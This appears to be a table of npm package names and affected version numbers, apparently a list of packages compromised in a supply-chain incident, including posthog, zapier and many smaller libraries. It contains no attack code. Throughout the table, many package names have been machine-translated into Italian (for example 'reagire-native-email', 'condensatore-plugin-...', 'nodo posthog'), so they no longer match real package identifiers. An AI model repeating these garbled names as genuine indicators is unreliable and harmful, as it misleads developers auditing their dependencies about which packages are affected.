| @zapier/secret-scrubber | 1.1.5, 1.1.4, 1.1.3 |
| ai-crowl-shield | 1.0.7 |
| arc-cli-fc | 1.0.1 |
| anteprima asyncapi | 1.0.2 , 1.0.1 |
| Atrix | 1.0.1 |
| modello di automazione | 1.0.491 |
| costruttore di assi | 1.2.1 |
| axios-annullabile | 1.0.2 , 1.0.1 |
| axios-timed | 1.0.2 , 1.0.1 |
| css essenziale | 1.1.4 , 1.1.3 |
| benmostyn-frame-print | 1.0.1 |
| bestgpiocontrollore | 1.0.10 |
| adattatore bidirezionale | 1.2.2, 1.2.4, 1.2.5, 1.2.3 |
| blinqio-esecuzioni-cli | 1.0.41 |
| blob-a-base64 | 1.0.3 |
| file http del plugin bun | 0.1.1 |
| controllo bytecode-cli | 1.0.11, 1.0.8, 1.0.9, 1.0.10 |
| byte-a-x | 1.0.1 |
| calcola-interessi-prestito | 1.0.4 |
| condensatore-plugin-apptrackingios | 0.0.21 |
| acquisto-plugin-condensatore | 0.1.1 |
| condensatore-plugin-scgssigninwithgoogle | 0.0.5 |
| cronologia degli acquisti di condensatori | 0.0.10 |
| registratore vocale a condensatore-wav | 6.0.3 |
| download-estensione-chrome | 0.0.3 , 0.0.4 |
| claude-token-updater | 1.0.3 |
| coinmarketcap-api | 3.1.3 , 3.1.2 |
| colori-regex | 2.0.1 |
| comando-irail | 0.5.4 |
| confronta-oggetto | 1.1.1 , 1.1.2 |
| composito-riduttore | 1.0.4, 1.0.3, 1.0.2, 1.0.5 |
| conto alla rovescia | 1.0.2 , 1.0.1 |
| istruzioni CPU | 0.0.14 |
| crea-direttore-app | 0.1.1 |
| crea-app-glee | 0.2.3 , 0.2.2 |
| crea-app-casco-3 | 1.1.4, 1.1.3, 1.1.1, 1.1.2 |
| crypto-addr-codec | 0.1.9 |
| css-dedoupe | 0.1.2 |
| dashboard-stato vuoto | 1.0.3 |
| designstudiouiux | 1.0.1 |
| devstart-cli | 1.0.6 |
| dialogflow-es | 1.1.4, 1.1.3, 1.1.1, 1.1.2 |
| server-bot-discord | 0.1.2 |
| docusaurus-plugin-estratto-di-vaniglia | 1.0.3 |
| non andare | 1.1.2 |
| modello dotnet | 0.0.3 , 0.0.4 |
| elimina-eventi-sul-plugin-proprietà | 0.0.2 |
| tester di recapito delle email | 1.1.1 |
| applicare-nome-filiale | 1.1.3 |
| esbuild-plugin-brotli | 0.2.1 |
| esbuild-plugin-eta | 0.1.1 |
| esbuild-plugin-httpfile | 0.4.1 |
| eslint-config-pignolo | 4.0.1 |
| eslint-config-trigo | 22.0.2 |
| eslint-config-zeallat-base | 1.0.4 |
| ethereum-ens | 0.8.1 |
| evm-checkcode-cli | 1.0.15, 1.0.12, 1.0.13, 1.0.14 |
| ticker esatto | 0.3.5 |
| sessione audio expo | 0.2.1 |
| espressi | 1.1.3 |
| dalle dita grasse | 1.0.2 , 1.0.1 |
| capovolgimento delle funzionalità | 1.0.2 , 1.0.1 |
| motore di ricerca firestore | 1.2.3 |
| testo fittxt | 1.0.3 , 1.0.2 |
| pile di flap | 1.0.2 , 1.0.1 |
| appiattire-disappiattire | 1.0.2 , 1.0.1 |
| formik-errore-focus | 2.0.1 |
| formik-store | 1.0.1 |
| cercatore fuzzy | 1.0.5 , 1.0.6 |
| gate-evm-check-code2 | 2.0.3, 2.0.4, 2.0.5, 2.0.6 |
| test degli strumenti gate-evm | 1.0.7, 1.0.8, 1.0.5, 1.0.6 |
| gatsby-plugin-cname | 1.0.2 , 1.0.1 |
| generatore-di-meteoriti | 0.1.6 |
| generatore-ng-itobuz | 0.0.15 |
| prendili-argomenti | 1.3.3 |
| github-action-for-generator | 2.1.28 , 2.1.27 |
| gitsafe | 1.0.5 |
| modello di go | 0.1.8 , 0.1.9 |
| gulp-inject-envs | 1.2.2 , 1.2.1 |
| haufe-axera-api-client | 0.0.1 , 0.0.2 |
| speranza-mapboxdraw | 0.1.1 |
| sperare di disegnare | 1.0.3 |
| prototipo di progettazione hover | 0.0.5 |
| httpness | 1.0.3 , 1.0.2 |
| iper-pieno | 1.0.3 |
| ipertermine-hipster | 1.0.7 |
| ids-css | 1.5.1 |
| ids-enterprise-mcp-server | 0.0.2 |
| ids-enterprise-ng | 20.1.6 |
| ids-enterprise-tipizzazioni | 20.1.6 |
| immagine-in-uri | 1.0.2 , 1.0.1 |
| insonnia-plugin-scelta-casuale | 1.0.4 |
| invo | 0.2.2 |
| miniapp scudo di ferro | 0.0.2 |
| ito-button | 8.0.3 |
| itobuz-angolare | 0.0.1 |
| itobuz-angular-auth | 8.0.11 |
| itobuz-angular-button | 8.0.11 |
| Jacob-Zuma | 1.0.2 , 1.0.1 |
| test jaetut-varit | 1.0.2 |
| jan-browser | 0.13.1 |
| jquery-bindings | 1.1.3 , 1.1.2 |
| jsonsurge | 1.0.7 |
| appena tostato | 1.7.1 |
| porta di uccisione | 2.0.3 , 2.0.2 |
| korea-administrative-area-geo-json-util | 1.0.7 |
| kwami | 1.5.9 , 1.5.10 |
| codici linguistici | 1.0.2 , 1.0.1 |
| licenza-o-matica | 1.2.2 , 1.2.1 |
| lint-staged-imagemin | 1.3.1 , 1.3.2 |
| server lite-serper-mcp | 0.2.2 |
| luno-api | 1.2.3 |
| sistema di fatturazione manuale miniapp api | 1.3.1 |
| annuncio-plugin-medusa | 0.0.3 |
| medusa-plugin-logs | 0.0.17 |
| medusa-plugin-momo | 0.0.68 |
| recensioni-prodotto-plugin-medusa-kvy | 0.0.4 |
| medusa-plugin-zalopay | 0.0.40 |
| mod10-cifra di controllo | 1.0.1 |
| pacchetto mon-react-typescript | 1.0.1 |
| il mio-saeed-lib | 0.1.1 |
| n8n-nodi-tmdb | 0.5.1 |
| n8n-nodi-vercel-ai-sdk | 0.1.7 |
| n8n-nodi-app-virale | 0.2.5 |
| nanoreset | 7.0.2 , 7.0.1 |
| dipendenza circolare successiva | 1.0.3 , 1.0.2 |
| next-simple-google-analytics | 1.1.1 , 1.1.2 |
| prossimo-stile-nprogress | 1.0.4 , 1.0.5 |
| ngx-useful-swiper-prosenjit | 9.0.2 |
| ngx-wooapi | 12.0.1 |
| negozio normale | 1.3.1, 1.3.4, 1.3.3, 1.3.2 |
| obj-to-css | 1.0.3 , 1.0.2 |
| okta-react-router-6 | 5.0.1 |
| open2internet | 0.1.1 |
| orbit-boxicons | 2.1.3 |
| strumenti-di-disegno-orbita-nebulosa | 1.0.10 |
| editor di orbite-nebulose | 1.0.2 |
| sapone orbitale | 0.43.13 |
| orchestra | 12.1.2 |
| tester di pacchetti | 1.0.1 |
| copia-asset-plugin-pacchi | 1.1.3 , 1.1.2 |
| annotazione pdf | 0.0.2 |
| piclite | 1.0.1 |
| pico-uid | 1.0.4 , 1.0.3 |
| pkg-readme | 1.1.1 |
| poper-react-sdk | 0.1.2 |
| posthog-docusaurus | 2.0.6 |
| posthog-js | 1.297.3 |
| nodo posthog | 4.18.1, 5.13.3, 5.11.3 |
| posthog-plugin-ciao-mondo | 1.0.1 |
| posthog-react-native | 4.11.1 , 4.12.5 |
| posthog-react-native-session-replay | 1.2.2 |
| tabella-prime-one | 0.0.19 |
| prompt-eng | 1.0.50 |
| richiesta gracile | 1.0.3 |
| ra-auth-firebase | 1.0.3 |
| ra-data-firebase | 1.0.8 , 1.0.7 |
| tagger dei componenti di reazione | 0.1.9 |
| reagire-dati-da-esportare | 1.0.1 |
| ispettore prompt elemento reattivo | 0.1.18 |
| reagire-favic | 1.0.2 |
| reagire-gancio-forma-persistere | 3.0.2 , 3.0.1 |
| icone di react-jam | 1.0.2 , 1.0.1 |
| react-keycloak-context | 1.0.8 , 1.0.9 |
| configurazione della libreria react | 0.0.6 |
| react-linear-loader | 1.0.2 |
| react-micromodal.js | 1.0.2 , 1.0.1 |
| react-native-datepicker-modal | 1.3.1 , 1.3.2 |
| reagire-native-email | 2.1.1 , 2.1.2 |
| react-native-fetch | 2.0.1 , 2.0.2 |
| react-native-get-pixel-dimensions | 1.0.2 , 1.0.1 |
| direzioni-react-native-google-maps | 2.1.2 |
| icone di react-native-jam | 1.0.2 , 1.0.1 |
| livello di registro di react-native | 1.2.2 , 1.2.1 |
| react-native-modest-checkbox | 3.3.1 |
| react-native-modest-storage | 2.1.1 |
| chiamata telefonica di React Native | 1.2.2 , 1.2.1 |
| react-native-retriable-fetch | 2.0.1 , 2.0.2 |
| react-native-use-modal | 1.0.3 |
| mirino reattivo nativo | 1.2.2 , 1.2.1 |
| React-native-websocket | 1.0.4 , 1.0.3 |
| funzioni-worklet-react-native | 3.3.3 |
| reagire-qr-immagine | 1.1.1 |
| Rediff | 1.0.5 |
| visualizzatore di rediff | 0.0.7 |
| kit router redux | 1.2.2, 1.2.4, 1.2.3 |
| rollup-plugin-httpfile | 0.2.1 |
| sa-numero-di-registrazione-della-società-regex | 1.0.2 , 1.0.1 |
| sa-id-gen | 1.0.4 , 1.0.5 |
| stessostesso | 1.0.3 |
| scgs-condensatore-iscriviti | 1.0.11 |
| creatore di scgsff | 1.0.5 |
| set-prop-annidato | 2.0.1 , 2.0.2 |
| sessioni-di-shelf-jwt | 0.1.2 |
| shell-exec | 1.1.4 , 1.1.3 |
| shinhan-limit-scrap | 1.0.3 |
| competenze-uso | 0.1.2 , 0.1.1 |
| storie-di-api-solomon | 1.0.2 |
| storie di Salomone V3 | 1.15.6 |
| wrapper dell'interfaccia utente di Solomon V3 | 1.6.1 |
| ordina per distanza | 2.0.1 |
| informazioni-sulla-nazione-sudafricana | 1.0.2 |
| stat-fns | 1.0.1 |
| stoor | 2.3.2 |
| ultra-commit | 1.0.1 |
| svelte-autocomplete-select | 1.1.1 |
| snello e tostato | 1.1.3 , 1.1.2 |
| tabella tanstack-shadcn | 1.1.5 |
| tcsp | 2.0.2 |
| tcsp-draw-test | 1.0.5 |
| tcsp-test-vd | 2.4.4 |
| template-lib | 1.1.4 , 1.1.3 |
| modello-micro-servizio | 1.0.3 , 1.0.2 |
| tenace-riprendo | 2.3.3 , 2.3.2 |
| test-foundry-app | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| test-hardhat-app | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| test23112222-api | 1.0.1 |
| tianan | 1.0.2 |
| token.js-fork | 0.7.32 |
| trigo-react-app | 4.1.2 |
| recinzione tipografica | 1.2.2 , 1.2.3 |
| tipoorm-orbita | 0.2.27 |
| non tipizzato in modo sicuro | 1.0.4 , 1.0.3 |
| altopiano | 0.5.4 |
| carica sul Play Store | 1.0.2 , 1.0.1 |
| url-codifica-decodifica | 1.0.2 , 1.0.1 |
| usa-modifiche-non-salvate | 1.0.9 |
| documento d'identità valido sudafricano | 1.0.3 |
| modello vf-oss | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| vite-plugin-httpfile | 0.2.1 |
| vue-browserupdate-nuxt | 1.0.5 |
| web-scraper-mcp | 1.1.4 |
| tipi-web-htmx | 0.1.1 |
| tipi-web-lit | 0.1.1 |
| webpack-loader-httpfile | 0.2.1 |
| wellness-expert-ng-gallery | 5.1.1 |
| wenk | 1.0.9 , 1.0.10 |
| archiviazione asincrona zapier | 1.0.3, 1.0.2, 1.0.1 |
| zapier-platform-cli | 18.0.4, 18.0.3, 18.0.2 |
| piattaforma zapier-core | 18.0.4, 18.0.3, 18.0.2 |
| schema-piattaforma-zapier | 18.0.4, 18.0.3, 18.0.2 |
| script zapier | 7.8.3 , 7.8.4 |
| zuper-cli | 1.0.1 |
| zuper-sdk | 1.0.57 |
| zuper-stream | 2.0.9 |





